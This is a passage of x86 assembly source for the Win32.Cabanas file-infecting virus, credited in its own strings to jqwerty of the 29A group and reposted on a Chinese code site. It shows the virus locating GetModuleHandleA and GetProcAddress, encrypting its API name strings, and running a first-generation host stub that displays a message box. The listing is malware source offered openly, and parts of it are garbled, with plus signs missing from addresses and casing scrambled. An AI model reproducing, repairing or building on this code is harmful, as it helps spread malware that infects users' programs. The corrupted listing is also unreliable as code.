Sub Eax, Ref - Host

Sub Eax, ECX

Sub eax, [add_1st_val]

MOV [EBX CODE_TABLE - REF], EAX

MOV Al, 6ah

Ror Al, 1

XOR Al, [XOR_2ND_VAL]

MOV [EBX CODE_TABLE 6 - REF], Al

MOV EAX, EBX

Sub Eax, Ref - Code_Table

Sub Eax, ECX

NEG EAX

MOV [EBX DELTA_HOST - REF], EAX

MOV [EBX OLD_BASE - REF], ECX

Mov Eax, [EBX PFNGMH - REF]

.IF Word PTR [EAX] == 25ffH; JMP [xxxxxxxx]

Mov Eax, [EAX 2]

.endif

Sub Eax, ECX

MOV [EBX DDGETMODULEHANDLEA - REF], EAX; Set getModuleHandlea RVA Pointer

MOV EAX, [EBX PFNGPA - REF]

.IF Word PTR [EAX] == 25ffH; JMP [xxxxxxxx]

Mov Eax, [EAX 2]

.endif

Sub Eax, ECX

MOV [EBX DDGETPROCADDRESS - REF], EAX; Set getProcaddress RVA Pointer

CLD; Encrypt API STRINGZ

MOV ECX, ve_string_size

Lea ESI, [EBX VE_STRINGZ - REF]

Mov EDI, ESI

Encrypt_stringz:

Lodsb

CMP Al, 80h

Lahf

XOR Al, 0B5H

Ror Al, Cl

Stosb

SAHF

.IF ZERO?

Movsb

.endif

Dec ECX

CMP ECX, 10

JNZ Encrypt_Stringz

MOV ECX, V_END2 - V_STRINGZ

Lea EDI, [EBX V_STRINGZ - REF]

MOV Al, -1

Rep Stosb

JMP v_start

Pfngmh DD Offset GetModuleHandlea

Pfngpa DD Offset GetProcaddress

Host Code Starts Here

EXTRN Messageboxa: Proc

EXTRN EXITPROCESS: PROC

Host: Push Mb_ok; Display Message Box

@Pushsz "(c) Win32.cabanas v1.1 by jqwerty / 29a"

@Pushsz "First Generation Sample"

Push null

Call Messageboxa

EXIT: PUSH 0; EXIT HOST

Call EXITPROCESS

End first_generation

转载请注明原文地址:https://www.9cbs.com/read-37576.html

New Post(0)